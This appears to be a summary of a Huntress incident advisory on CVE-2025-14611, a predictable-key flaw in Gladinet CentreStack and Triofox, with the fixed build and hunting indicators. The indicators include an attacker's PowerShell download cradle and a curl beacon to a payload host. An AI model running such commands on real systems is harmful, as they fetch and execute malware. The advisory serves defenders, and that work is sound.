Gladinet CentreStack/Triofox: Cryptography Vulnerability | Huntress

What it is

Huntress's living incident tracker for CVE-2025-14611 (CVSS 7.1), an insecure-cryptography flaw in Gladinet CentreStack and Triofox. The value the summary lacks is concrete: the fixed build number, the crypto mechanism at the code level, and hard IOCs from December 15 incidents.

How it works

The filesvr.dn endpoint is a custom HTTP handler defined in web.config, mapped to GladinetStorage.FileDownloadHandler. It reads a query parameter t — an encrypted "Access Ticket" carrying authorization data and the requested file path in one string. On IIS worker startup, SysKeyMgr calls AccessKeyMgr64.GetSysEncKey, which passes the current system time (DateTime.Now.ToString()) to GenerateSecKey in GladCtrl64.dll; the DLL returns two 100-byte strings loaded into memory (SysKeyMgr.SysKey, source of the 32-byte AES key, and SysKey1). Because the key derivation is predictable/hardcoded, an attacker can forge a valid t ticket, read web.config, and chain into ViewState deserialization (CVE-2025-30406) for RCE.

Preconditions / Affected

Internet-facing CentreStack or Triofox servers running a build older than 16.12.10420.56791 (released Nov 29). Gladinet notified customers Nov 30; Huntress is seeing exploitation across its customer base.

What to do

Update to 16.12.10420.56791 or later. Hunt for these observed indicators:

• PowerShell download cradle executed via w3wp.exe:

Invoke-WebRequest http://185.196.11.207:8000/conqueror.exe -OutFile C:\Users\Public\conqueror.exe

• Follow-on beacon check: curl http://185.196.11.207:8000
• Payload conqueror.exe written to C:\Users\Public\, SHA256 e9fa82d92d826c6a1c38165fe6bd610d3b80cd5d53ec65ac3fe94393be64b5a5
• Malicious IPs: 185.196.11.207 (payload host, now offline) and 146.70.134.50 (initiated the ViewState/CVE-2025-30406 attack, per Application EVTX Event ID 1316)
• Post-exploit: quser.exe, host enumeration via conqueror.exe, and listing of the Huntress install directory
• The /storage/filesvr.dn?t=... requests Gladinet supplied as IoCs — but see caveat.

Caveats

• Huntress explicitly cannot confirm the cl0p attribution; it is repeating other firms' reporting given the timing.
• The conqueror.exe sample was gone before analysis; its hash was not on VirusTotal at publication, and the open directory at 185.196.11.207:8000 is offline.
• Huntress flags an "important caveat" about the Gladinet-supplied filesvr.dn request IoCs in its Mitigations section — consult the page before treating those raw request strings as reliable detections.